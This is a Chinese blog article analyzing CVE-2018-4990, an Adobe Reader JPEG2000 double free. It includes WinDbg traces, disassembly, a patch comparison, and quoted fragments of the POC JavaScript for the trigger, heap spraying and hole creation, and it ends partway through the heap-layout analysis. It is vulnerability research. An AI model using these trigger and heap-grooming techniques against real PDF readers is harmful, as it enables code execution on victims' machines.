溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么進(jìn)行-2018-4990漏洞調(diào)試的分析

發(fā)布時(shí)間:2021-11-25 15:52:15 來(lái)源:億速云 閱讀:145 作者:柒染 欄目:編程語(yǔ)言

這篇文章給大家介紹怎么進(jìn)行-2018-4990漏洞調(diào)試的分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

測(cè)試環(huán)境

Windows 7 SP1 x86

Adobe Reader 2017.009.20044

漏洞成因

Adobe 官方安全公告說(shuō)這是一個(gè) Double Free 漏洞, 內(nèi)存相關(guān)的問(wèn)題, 我們打開(kāi)頁(yè)堆后運(yùn)行 Reader, 用 Windbg 附加, 打開(kāi) POC 后崩潰, 崩潰位置以及?;厮?

0:000> r
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=022e0000 edi=022e0000
eip=6f096e88 esp=0019a478 ebp=0019a4c4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
6f096e88 813abbbbcdab    cmp     dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv L0c
 # ChildEBP RetAddr  Args to Child
00 0019a4c4 6f096f95 022e1000 d0d0d0d0 022e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [Non-Fpo])
01 0019a4e8 6f097240 022e1000 d0d0d0d0 0019a558 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [Non-Fpo])
02 0019a504 6f099080 022e1000 d0d0d0d0 008fd21e verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [Non-Fpo])
03 0019a520 779065f4 022e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [Non-Fpo])
04 0019a568 778ca0aa 022e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [Non-Fpo])
05 0019a65c 778965a6 00000000 d0d0d0d0 3f304f98 ntdll!RtlpFreeHeap+0x5d (FPO: [Non-Fpo])
06 0019a67c 771bbbe4 022e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [Non-Fpo])
07 0019a690 6d30ecfa 022e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
08 0019a6a4 68c40622 d0d0d0d0 8348117b 433f2fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl)
WARNING: Stack unwind information not available. Following frames may be wrong.
09 0019a7c4 68c56444 4cf46fb8 3c5f8fd8 000000fd JP2KLib!JP2KCopyRect+0xbad6
0a 0019a81c 6dfa5f50 48412e88 6829efd0 3c5f8fd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0b 0019a8a4 6dfa78ed 3d074fa8 433f2fac 3d074fa8 AcroRd32!AX_PDXlateToHostEx+0x25e41d

可以看到, jp2klib 在調(diào)用 free 釋放時(shí)奔潰了, 這里釋放的地址是 0xd0d0d0b0, 這是頁(yè)堆的后置填充數(shù)據(jù), 這里似乎是訪問(wèn)越界了, 我們 ub 看下調(diào)用 free 處的代碼:

68c40605 8bcb            mov     ecx,ebx
68c40607 894d10          mov     dword ptr [ebp+10h],ecx
68c4060a 395804          cmp     dword ptr [eax+4],ebx
68c4060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (68c4063b)
68c4060f 8b4648          mov     eax,dword ptr [esi+48h]
68c40612 8b400c          mov     eax,dword ptr [eax+0Ch]
68c40615 8b0488          mov     eax,dword ptr [eax+ecx*4]
68c40618 85c0            test    eax,eax
68c4061a 7413            je      JP2KLib!JP2KCopyRect+0xbae3 (68c4062f)
68c4061c 50              push    eax
68c4061d e88a690100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8 (68c56fac) ; free
68c40622 8b4648          mov     eax,dword ptr [esi+48h]
68c40625 59              pop     ecx
68c40626 8b4d10          mov     ecx,dword ptr [ebp+10h]
68c40629 8b400c          mov     eax,dword ptr [eax+0Ch]
68c4062c 891c88          mov     dword ptr [eax+ecx*4],ebx
68c4062f 8b4648          mov     eax,dword ptr [esi+48h]
68c40632 41              inc     ecx
68c40633 894d10          mov     dword ptr [ebp+10h],ecx
68c40636 3b4804          cmp     ecx,dword ptr [eax+4]
68c40639 7cd4            jl      JP2KLib!JP2KCopyRect+0xbac3 (68c4060f)

可以看到, 這里在循環(huán)調(diào)用 free 函數(shù), 我們重新調(diào)試, 在取出被釋放的值之前下斷, 這里在 jp2klib + 0x50605 的位置下斷.

剛附加時(shí), jp2klib 是沒(méi)有加載的, 這里可以使用命令 sxe ld jp2klib 等加載了這個(gè)模塊以后再下斷. 斷下后調(diào)試我們可以發(fā)現(xiàn), 這里在和 0xff 進(jìn)行比較, 也就是循環(huán)要執(zhí)行 0xff 次:

6cd30605 8bcb            mov     ecx,ebx
6cd30607 894d10          mov     dword ptr [ebp+10h],ecx
6cd3060a 395804          cmp     dword ptr [eax+4],ebx ds:0023:7051ffe4=000000ff
6cd3060d 7e2c            jle     JP2KLib!JP2KCopyRect+0xbaef (6cd3063b)

繼續(xù)跟蹤, 跟到要從 eax 指向的內(nèi)存中取出要釋放的地址時(shí), 我們看下 eax 所指內(nèi)存塊:

0:000> !heap -p -a eax
    address 07d1e180 found in
    _HEAP @ d50000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        07d1e178 0081 0000  [00]   07d1e180    003f4 - (busy)

可以看到, 這個(gè) eax 所指內(nèi)存只有 0x3f4 大小, 而 0x3f4 / 4 = 0xfd, 也就是說(shuō)這里循環(huán) 0xff 次比正常的多了兩次, 也就是越界訪問(wèn)了 8 個(gè)字節(jié), 這也就是為什么前面會(huì)釋放頁(yè)堆后置填充數(shù)據(jù)的原因.

我們關(guān)掉頁(yè)堆重新調(diào)試, 繼續(xù)在之前的地方下斷, 斷下后查看越界訪問(wèn)的 8 字節(jié):

0:000> dc eax + 0x3f4
07d1e574  0d0e0048 0d0f0048 00000000 0e17e719  H...H...........
07d1e584  88000000 00000000 000003f0 08231608  ..............#.
07d1e594  00000000 00000000 00000000 00000000  ................

可以看到, 這里被填充了兩個(gè)值, 通過(guò)查看 POC 也可以看到, 這兩個(gè)值是在 POC 中指定的, 也就是說(shuō), 此處的問(wèn)題可以造成任意兩個(gè)地址被釋放. 接著的問(wèn)題就是為何會(huì)造成這里的越界訪問(wèn), eax 所指內(nèi)存從哪里分配? 大小又是怎么計(jì)算的? 循環(huán)的次數(shù)又從何而來(lái)?

我們看上面的代碼, eax 所指內(nèi)存在 poi(poi(esi + 0x48) + 0x0c), 而比較的次數(shù)在 +0x04 的位置, 這里我們可以通過(guò)在 IDA 追溯到 esi 的分配位置, 找到后下斷重新調(diào)試, 然后在分配后的偏移 0x48 的位置下內(nèi)存寫(xiě)入斷點(diǎn), 找到給 0x48 偏移賦值的位置, 然后再對(duì)這里的內(nèi)存地址偏移 0x0c 的位置下內(nèi)存寫(xiě)入斷點(diǎn), 這樣依次跟蹤. 也可以使用 !address 首先看下 esi 所指內(nèi)存的類型, 發(fā)現(xiàn)是堆內(nèi)存, 直接開(kāi)啟 UST, !heap -p -a 一下就可以看到 esi 的分配地址了. 這里因?yàn)橛脙?nèi)存寫(xiě)入斷點(diǎn)的方法跟蹤過(guò), 知道了偏移 0x48 和偏移 0x0c 處的內(nèi)存也是堆內(nèi)存, 所以這里可以直接用 UST 找到分配 0x0c 處內(nèi)存的位置.

找到 0x0c 偏移處內(nèi)存的分配位置后, 重新調(diào)試并下斷 jp2klib + 0x41391:

5edb1380 8b5df0          mov     ebx,dword ptr [ebp-10h]
5edb1383 3bc3            cmp     eax,ebx
5edb1385 0f821a090000    jb      JP2KLib!JP2KCodeStm::write+0x187c5 (5edb1ca5)
5edb138b c1eb02          shr     ebx,2
5edb138e 6a04            push    4
5edb1390 53              push    ebx
5edb1391 e8295b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb1396 837f4800        cmp     dword ptr [edi+48h],0 ds:0023:05022a50=00000000
5edb139a 59              pop     ecx
5edb139b 59              pop     ecx
5edb139c 8945f8          mov     dword ptr [ebp-8],eax
5edb139f 7516            jne     JP2KLib!JP2KCodeStm::write+0x17ed7 (5edb13b7)
5edb13a1 6a01            push    1
5edb13a3 6a20            push    20h
5edb13a5 e8155b0200      call    JP2KLib!JP2KTileGeometryRegionIsTile+0xcb (5edd6ebf)
5edb13aa 894748          mov     dword ptr [edi+48h],eax

斷下后可以看到, 在 5edb1391 分配時(shí) ebx 等于 0xfd, 通過(guò)分析可以知道, 這里的分配函數(shù)有兩個(gè)參數(shù), 第一個(gè)參數(shù)是元素個(gè)數(shù), 第二個(gè)參數(shù)是元素類型, 這里分配了 0x3f4 字節(jié), ebx 的原始值在 ebp-10 中, 我們可以看下:

0:000> dd ebp-10 L1
0024a3e0  000003f4

下面 5edb13a5 分配的 20 字節(jié)其實(shí)就是偏移 0x48 處的內(nèi)存, 也就是前面的 poi(esi + 0x48), 這可以通過(guò)之前在找到分配 esi 的位置后, 下內(nèi)存寫(xiě)入斷點(diǎn)確認(rèn), 也可以在循環(huán)釋放時(shí)直接利用 UST 找到這個(gè)位置. 當(dāng)這 20 字節(jié)內(nèi)存分配后, 直接在偏移 0x0c 的位置下內(nèi)存寫(xiě)入斷點(diǎn), 就可以發(fā)現(xiàn)最后把上面分配的大小為 0x3f4 的內(nèi)存地址賦值到此處.

接著看看這塊內(nèi)存的大小是怎么計(jì)算的, 我們?cè)?IDA 追溯 ebp-10, 看看里面的值是在哪里賦值的:

.text:00041333 mov     eax, ebx
.text:00041335 mov     ecx, esi
.text:00041337 sub     eax, [ebp+var_4]
.text:0004133A push    eax
.text:0004133B mov     [ebp+var_10], eax

跟到這里可以看到, ebp-10h 的值來(lái)自 ebx 減 ebp-4 的值, 繼續(xù)跟蹤發(fā)現(xiàn) ebx 的值來(lái)自 ebp-14h, 繼續(xù)跟蹤, 發(fā)現(xiàn)如下代碼:

.text:00040FEE push    esi
.text:00040FEF lea     eax, [ebp+var_4]
.text:00040FF2 push    eax
.text:00040FF3 lea     eax, [ebp+var_18]
.text:00040FF6 push    eax
.text:00040FF7 lea     eax, [ebp+var_14]
.text:00040FFA push    eax
.text:00040FFB call    sub_3FD43

這里將 ebp-4 和 ebp-14h 的地址都當(dāng)作參數(shù)傳進(jìn)去了, 我們可以在該函數(shù)下斷跟進(jìn)(也可以對(duì)兩個(gè)地址下內(nèi)存寫(xiě)入斷點(diǎn), 可以確認(rèn)就是該函數(shù)填充的值):

5ee1fd43 55              push    ebp
5ee1fd44 8bec            mov     ebp,esp
5ee1fd46 56              push    esi
5ee1fd47 8b7514          mov     esi,dword ptr [ebp+14h]
5ee1fd4a 8bce            mov     ecx,esi
...
5ee1fd5c 53              push    ebx
5ee1fd5d 57              push    edi
5ee1fd5e 6a04            push    4
5ee1fd60 8bce            mov     ecx,esi
5ee1fd62 e8b4b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd67 8b7d08          mov     edi,dword ptr [ebp+8]
5ee1fd6a 8bce            mov     ecx,esi
5ee1fd6c 6a04            push    4
5ee1fd6e 8907            mov     dword ptr [edi],eax ; 賦值給 ebp-14h 
5ee1fd70 e8a6b5fcff      call    JP2KLib!JP2KUserActions::operator=+0xa07b (5edeb31b)
5ee1fd75 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
5ee1fd78 8b5d10          mov     ebx,dword ptr [ebp+10h]
5ee1fd7b 6a08            push    8
5ee1fd7d 8901            mov     dword ptr [ecx],eax
5ee1fd7f 58              pop     eax
5ee1fd80 8903            mov     dword ptr [ebx],eax ; 賦值給 ebp-4

當(dāng)執(zhí)行完 5ee1fd62 處的函數(shù) 5edeb31b 后, 發(fā)現(xiàn) eax 等于 0x3fc, 在這個(gè)函數(shù)的下方也可以發(fā)現(xiàn)給 epb-4 和 ebp-14h賦值的地方. 我們跟進(jìn) 5edeb31b 函數(shù):

if ( a1 && a1 <= 4 ) {
  v4 = (unsigned __int8)sub_B21A((int)this, (_BYTE *)&a1 + 3);
  if ( v2 > 1 ) {
    v5 = v2 - 1;
    do {
      v4 = (unsigned __int8)sub_B21A((int)v3, (_BYTE *)&a1 + 3) + (v4 << 8);
      --v5;
    } while ( v5 );
  }
  result = v4;
}

可以看到, 這個(gè)函數(shù)調(diào)用 sub_B21A 每次讀取一個(gè)字節(jié), 然后通過(guò)左移位合在一起. 我們進(jìn)入 sub_B21A 函數(shù)查看:

v2 = this;
if ( *(_BYTE *)(this + 8) || *(_DWORD *)(this + 0x10) >= *(_DWORD *)(this + 0x14) )
  ...
if ( *(_BYTE *)(v2 + 9) && *(_DWORD *)(v2 + 0x10) >= *(_DWORD *)(v2 + 0x14) ) {
  ...
} else {
  v1 = *(char **)(v2 + 0x10);
  v5 = *v1;
  ++*(_DWORD *)(v2 + 0x1C);
  *(_BYTE *)(v2 + 0x18) = v5;
  *(_DWORD *)(v2 + 0x10) = v1 + 1;
  result = *(_BYTE *)(v2 + 0x18);
}
return result;

可以看到該函數(shù)從 ecx 指向的內(nèi)存中取一個(gè)指針并取值, 查看 poi(ecx + 0x10) 指向的數(shù)據(jù):

0:000> db poi(ecx + 0x10)
17d3be80  00 00 00 0c 6a 50 20 20-0d 0a 87 0a 00 00 04 1d  ....jP  ........
17d3be90  6a 70 32 68 00 00 00 16-69 68 64 72 00 00 00 20  jp2h....ihdr... 
17d3bea0  00 00 00 20 00 01 ff 07-00 00 00 00 03 fc 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............
17d3bec0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bed0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bee0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
17d3bef0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

可以看到一些關(guān)鍵字 jp2h, ihdr 等. 通過(guò)搜索可以知道這是一個(gè) jpg2000 文件. 通過(guò)多次調(diào)試可以知道, ecx 偏移 0x0c 處的指針一直指向該文件數(shù)據(jù)的起始位置, 偏移 0x10 處的指針指向當(dāng)前取值位置, 偏移 0x14 處指向數(shù)據(jù)結(jié)尾, 偏移 0x04 處存放數(shù)據(jù)的大小.

由于 5edeb31b 函數(shù)會(huì)被調(diào)用多次, 我們可以下條件斷點(diǎn), 看看第幾次調(diào)用時(shí)返回的 eax 等于 0x3fc:

r $t0 = 0
bp jp2klib + 0x3fd67 "r $t0 = $t0 + 1; .if eax != 0x3fc {g;} .else {.printf \"count: %d\", $t0;}"

通過(guò)上述斷點(diǎn)我們可以知道在第四次時(shí)該函數(shù)返回 0x3fc, 我們重新調(diào)試下斷, 第四次中斷時(shí)跟進(jìn). 通過(guò)跟蹤可以發(fā)現(xiàn), 0x3fc 是從 jpg2000 文件的如下位置讀取的:

17d3bea0  00 00 00 20 00 01 ff 07-00 00 [00 00 03 fc] 63 6d  ... ..........cm
17d3beb0  61 70 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ap..............

接著再繼續(xù)尋找前面的循環(huán)次數(shù) 0xff 是從哪兒獲取的, 我們可以對(duì)存放該值的位置下內(nèi)存寫(xiě)入斷點(diǎn), 也就是前面分配的 20 字節(jié)大小內(nèi)存的偏移 0x04 的位置. 下斷運(yùn)行后斷在如下位置:

.text:00041125                 mov     ecx, [edi+48h]
.text:00041128                 mov     [ecx], eax
.text:0004112A                 mov     ecx, [esi+10h]
.text:0004112D                 inc     dword ptr [esi+1Ch]
.text:00041130                 mov     al, [ecx]
.text:00041132                 mov     [esi+18h], al
.text:00041135                 lea     eax, [ecx+1]
.text:00041138                 movzx   ecx, byte ptr [esi+18h]
.text:0004113C                 mov     [esi+10h], eax
.text:0004113F                 mov     eax, [edi+48h]
.text:00041142                 mov     [eax+4], ecx
.text:00041145                 mov     ecx, [edi+48h] ; 斷在此處

可以看到將 ecx 的值賦值給偏移 0x04 處, 我們可以重新調(diào)試并在 0x41125 處下斷調(diào)試. 通過(guò)調(diào)試可以發(fā)現(xiàn) ecx 的值來(lái)自 esi+10h 處的指針, 而這里的 esi 就是上面的 this 指針 ecx, 其偏移 0x10 處存放的是指向當(dāng)前取值位置的指針, 我們看下當(dāng)前指向的數(shù)據(jù):

0:000> dc ecx - 20
4e6f9bc0  00000000 00000000 00000000 00000000  ................
4e6f9bd0  00000000 00000000 63700b00 ffff726c  ..........pclr..
4e6f9be0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9bf0  ffffffff ffffffff ffffffff ffffffff  ................
4e6f9c00  ffffffff ffffffff ffffffff ffffffff  ................

可以看到, 同樣是 jpg2000 文件的數(shù)據(jù). jpg2000 文件包含在 PDF 中, 我們可以通過(guò)在 PDF 中搜索關(guān)鍵字 image 找到存放該文件的流對(duì)象, 在 POC 中該流是沒(méi)有編碼的, 但是真實(shí)樣本中流是可能編碼的, 需要解碼后才能看到原始數(shù)據(jù), 找到的流數(shù)據(jù)如下:

2600h: 0D 0A 0D 0A 32 33 20 30 20 6F 62 6A 0D 0A 3C 3C  ....23 0 obj..<< 
2610h: 0D 0A 2F 53 75 62 74 79 70 65 20 2F 49 6D 61 67  ../Subtype /Imag 
2620h: 65 0D 0A 2F 46 69 6C 74 65 72 20 2F 4A 50 58 44  e../Filter /JPXD 
2630h: 65 63 6F 64 65 0D 0A 2F 4C 65 6E 67 74 68 20 32  ecode../Length 2 
2640h: 31 32 33 0D 0A 2F 4E 61 6D 65 20 2F 58 0D 0A 2F  123../Name /X../ 
2650h: 57 69 64 74 68 20 33 32 0D 0A 2F 54 79 70 65 20  Width 32../Type  
2660h: 2F 58 4F 62 6A 65 63 74 0D 0A 2F 48 65 69 67 68  /XObject../Heigh 
2670h: 74 20 33 32 0D 0A 3E 3E 0D 0A 73 74 72 65 61 6D  t 32..>>..stream 
2680h: 0D 0A 00 00 00 0C 6A 50 20 20 0D 0A 87 0A 00 00  ......jP  ..?... 
2690h: 04 1D 6A 70 32 68 00 00 00 16 69 68 64 72 00 00  ..jp2h....ihdr.. 
26A0h: 00 20 00 00 00 20 00 01 FF 07 00 00 00 00 03 FC  . ... ..?......ü 
26B0h: 63 6D 61 70 00 00 00 00 00 00 00 00 00 00 00 00  cmap............ 
... 
2A90h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 
2AA0h: 00 00 00 00 00 00 00 00 00 00 00 0B 70 63 6C 72  ............pclr 
2AB0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ???????????????? 
2AC0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ???????????????? 
2AD0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ???????????????? 
2AE0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ???????????????? 
2AF0h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ???????????????? 
2B00h: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF  ????????????????

至此, 我們知道了內(nèi)存塊的大小和循環(huán)次數(shù)均是來(lái)自惡意的 jpg2000 文件, 因此導(dǎo)致了越界訪問(wèn), 可以釋放任意兩個(gè)地址. 這里我們?cè)诳聪?POC, 看看是哪里觸發(fā)了這個(gè)問(wèn)題, 我們?cè)?POC 中看到如下代碼:

function myfun1()
{
    ....
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.visible;
    }
    var sto2 = app.setTimeOut("myfun2()",250);
}
function myfun2()
{
    var f1 = this.getField("Button1");
    if(f1)
    {
        f1.display = display.hidden;
    }
    ...
}

這里推測(cè)就是這段代碼觸發(fā)了越界訪問(wèn), 因?yàn)榭v觀整個(gè) POC, 這段代碼前后基本就是內(nèi)存分配布局操作了, 這里我們可以在 myfun1 中的代碼段前后插入 alert 彈窗, 并配合調(diào)試器在越界訪問(wèn)的循環(huán)處下斷點(diǎn), 測(cè)試后發(fā)現(xiàn), 正是執(zhí)行了這段代碼以后就斷在了越界訪問(wèn)循環(huán)處. 通過(guò)測(cè)試發(fā)現(xiàn)刪掉 myfun2 中的代碼段并不影響, 但是刪掉 myfun1 中的只保留 myfun2 中的或者刪掉 myfun1 中的把 myfun1 中的代碼段復(fù)制到 myfun2 也是不行的.

最后, 再來(lái)看一下修復(fù)過(guò)的文件在流程上有什么不同, 使用的修復(fù)版本為 Adobe Reader 2018.011.20040. 通過(guò)調(diào)試比較可以發(fā)現(xiàn), 在分配了 20 字節(jié)大小的內(nèi)存后給偏移 0x0c 處賦值時(shí)有如下區(qū)別:

if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
sub_66FAC(*(void **)(*(_DWORD *)(a2 + 0x48) + 0xC));
v78 = v140;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
*(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v78;
-----------------------------------------------------
if ( *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 4) ) {
    ...
}
v80 = *(_DWORD *)(a2 + 0x48);
if ( *(_DWORD *)(v80 + 0xC) ) {
  sub_6706A(*(void **)(v80 + 0xC));
  v81 = v143;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = 0;
  *(_DWORD *)(*(_DWORD *)(a2 + 0x48) + 0xC) = v81;
}

可以看到, 修復(fù)前(分隔符上面的代碼)在給偏移 0x0c 處賦值時(shí)沒(méi)有做任何判斷, 直接賦值, 而修復(fù)后的代碼在賦值之前比較了是否為 0 , 如果為 0 則不進(jìn)行賦值. 這里沒(méi)有賦值到了后面進(jìn)入循環(huán)之前自然就過(guò)不了是否為空的判斷.

漏洞利用

我們用編輯器打開(kāi) POC, 查看其中的 JS 代碼, 看看是如何利用該漏洞的. 打開(kāi)后可以看到, 首先分配了一些內(nèi)存, 這里我們可以用文章: CVE-2018-4990 Adobe Reader 代碼執(zhí)行漏洞利用分析 中的方法, 在 JS 代碼添加一些我們自己的代碼來(lái)輔助我們分析對(duì)象在內(nèi)存中的結(jié)構(gòu), 這里我們先在 a1 的分配循環(huán)后面插入如下代碼查看 a1 分配后的情況:

var my_array = new Array(0x10);    
my_array[0] = 0x23badbad;
my_array[1] = a1[1];
my_array[2] = a1[2];
my_array[3] = 0;
a1[1][0] = 0xbadbad22;
a1[1][1] = 0xbadbad33;
app.alert("pause");

然后打開(kāi) POC, 在彈框后用 Windbg 附加, 使用命令

s -d 0x10000 L?7fffffff 0x23badbad

搜索. 這里注意, 經(jīng)過(guò)測(cè)試, Tag 的設(shè)置不能大于 0x80000000, 不然搜索時(shí)會(huì)搜不到. 搜索到以后, 查看內(nèi)存:

0:009> s -d 0x10000 L?7fffffff 0x23badbad
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
0:009> dc 05d15b70  
05d15b70  23badbad ffffff81 05492660 ffffff87  ...#....`&I.....
05d15b80  054926b8 ffffff87 00000000 ffffff81  .&I.............
05d15b90  05492768 ffffff87 054927c0 ffffff87  h'I......'I.....
05d15ba0  05492818 ffffff87 05492870 ffffff87  .(I.....p(I.....
05d15bb0  7247e12b 8c000000 69375cd4 05d14da8  +.Gr.....\7i.M..
05d15bc0  69375d20 69375d34 05d64838 00000000   ]7i4]7i8H......

這里可以看到我們?cè)O(shè)置的 Tag 以及我們放入的兩個(gè)對(duì)象的地址. 每個(gè)地址后面跟的應(yīng)該是該對(duì)象的類型, 這里我們放入的兩個(gè)對(duì)象全是數(shù)組類型的, 所以都是相同的值. 這里注意到, 我們放入的那兩個(gè)對(duì)象的地址幾乎是挨著的, 我們查看一下:

怎么進(jìn)行-2018-4990漏洞調(diào)試的分析

怎么進(jìn)行-2018-4990漏洞調(diào)試的分析

因?yàn)?a1 的每個(gè)元素都是一個(gè)有 252(0xfd) 元素 Uint32Array, 總共有 0x3f0 字節(jié), 我們可以在上面看到這兩個(gè)值. 通過(guò)嘗試, 我們可以知道, 上圖中的 0x3f0 后面的 0x54372f0 偏移 0x0c 處的指針就是指向?qū)嶋H存儲(chǔ)數(shù)據(jù)的指針(可以看到, 對(duì)象地址偏移 0x50 處也是該指針值: 0x05b601b0):

0:009> dd 054372f0 Lc
054372f0  054b2b38 05425be0 00000000 05b601b0
05437300  00000000 00000000 00000000 00000000
05437310  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 Lc
05b601b0  badbad22 badbad33 00000000 00000000
05b601c0  00000000 00000000 00000000 00000000
05b601d0  00000000 00000000 00000000 00000000
0:009> dd 05b601b0 + 0n249 * 4 Lc
05b60594  0d0e0048 0d0f0048 00000000 736339a9
05b605a4  88000066 ffffff00 ffffff00 ffffff00
05b605b4  00000000 0000005f 000000a1 000000a1

這里可以看到我們?cè)O(shè)置的值以及 POC 代碼設(shè)置的兩個(gè)值. 通過(guò) !heap 命令我們可以知道這塊內(nèi)存在堆中的大小, 這里我們也查看一下 POC 設(shè)置的兩個(gè)值:

0:009> !heap -p -a 05b601b0 
    address 05b601b0 found in
    _HEAP @ 890000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        05b60198 0081 0000  [00]   05b601a0    00400 - (busy)
0:009> !heap -p -a 0d0e0048
0:009> !heap -p -a 0d0f0048
0:009> !address 0d0e0048
Usage:                  Free
Base Address:           08890000
End Address:            65b60000
Region Size:            5d2d0000 (   1.456 GB)
State:                  00010000          MEM_FREE
Protect:                00000001          PAGE_NOACCESS
Type:                   <info not present at the target>

可以看到此時(shí) POC 設(shè)置的兩個(gè)地址都還沒(méi)有被分配. 繼續(xù)查看 POC 可以發(fā)現(xiàn)接下來(lái)分配了 0x1000 個(gè)大小為0x10000 - 24 的 ArrayBuffer, 我們用上面獲取對(duì)象地址的方法, 看下 ArrayBuffer:

for(var i1=1;i1<spraynum;i1++) {    
    sprayarr[i1] = new ArrayBuffer(spraylen);                         
}
var my_array = new Array(0x10);
my_array[0] = 0x23badbad;
my_array[1] = sprayarr[1];
my_array[2] = sprayarr[2];
my_array[3] = 0;
app.alert("233");

這里注意, 因?yàn)?ArrayBuffer 沒(méi)法像數(shù)組一樣直接使用, 所以不能像前面一樣往這個(gè)數(shù)組中賦值了. 改好后打開(kāi)搜索我們的 Tag, 找到我們的數(shù)組, 可以看到, 這里 sprayarr[1] 和 sprayarr[2] 同樣的挨著的:

0:012> dc 05291f00 Lc
05291f00  23badbad ffffff81 0819e420 ffffff87  ...#.... .......
05291f10  0819e4b8 ffffff87 00000000 ffffff81  ................
05291f20  0056004e 00540049 005f0045 00540053  N.V.I.T.E._.S.T.
0:012> dc 0819e420 Lc
0819e420  05eb2b38 05e25be0 00000000 06cf0058  8+...[......X...
0819e430  00000000 00000000 00000000 00000000  ................
0819e440  00000000 00000000 00000000 00000000  ................
0:012> !heap -p -a 06cf0058  
    address 06cf0058 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        06cf0040 2000 0000  [00]   06cf0048    0fff8 - (busy)
0:012> dc 06cf0048 Lc  
06cf0048  00000000 0000ffe8 00000000 00000000  ................
06cf0058  00000000 00000000 00000000 00000000  ................
06cf0068  00000000 00000000 00000000 00000000  ................

這里分析嘗試可以知道, sprayarr[1] 這個(gè)對(duì)象的地址偏移 0xc 處的指針 0x06cf0058 就是指向?qū)嶋H存儲(chǔ)數(shù)據(jù)的緩沖區(qū), 我們查看它發(fā)現(xiàn) UserPtr 是從 06cf0048 開(kāi)始的, 我們查看這里可以看到, 偏移 4 處是它的長(zhǎng)度 0xffe8(0x10000 - 24). 此時(shí)我們?cè)俨榭?POC 設(shè)置的那兩個(gè)值:

0:012> !heap -p -a 0d0e0048
    address 0d0e0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0e0040 2000 0000  [00]   0d0e0048    0fff8 - (busy) 
0:012> !heap -p -a 0d0f0048
    address 0d0f0048 found in
    _HEAP @ 9d0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0d0f0040 2000 0000  [00]   0d0f0048    0fff8 - (busy)

可以看到, 這兩個(gè)地址已經(jīng)被分配了. 接著查看 POC, 可以看到如下代碼:

for(var i1=1;i1<(l1);i1=i1+2) {    
     delete a1[i1];
     a1[i1] = null;
}

這里將上面 a1 中分配的數(shù)組隔一個(gè)釋放一個(gè), 我們前面知道了 a1 中一個(gè)數(shù)組元素的大小是 0x400, 執(zhí)行完這段代碼后, 就在內(nèi)存中布局了一些大小為 0x400 的空洞:

0:012> !heap -flt s 0x400
    _HEAP @ 520000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0052e360 0081 0000  [00]   0052e368    00400 - (busy)
        048537c8 0081 0081  [00]   048537d0    00400 - (busy)
        ......
        05dc8d68 0081 0081  [00]   05dc8d70    00400 - (busy)
        05dc9170 0081 0081  [00]   05dc9178    00400 - (busy)
        05dc9578 0081 0081  [00]   05dc9580    00400 - (free)
        05dc9980 0081 0081  [00]   05dc9988    00400 - (busy)
        ......
        05fb2500 0081 0081  [00]   05fb2508    00400 - (free)
        05fb2908 0081 0081  [00]   05fb2910    00400 - (busy)
        05fb2d10 0081 0081  [00]   05fb2d18    00400 - (free)
        05fb3118 0081 0081  [00]   05fb3120    00400 - (busy)
        05fb3520 0081 0081  [00]   05fb3528    00400 - (free)
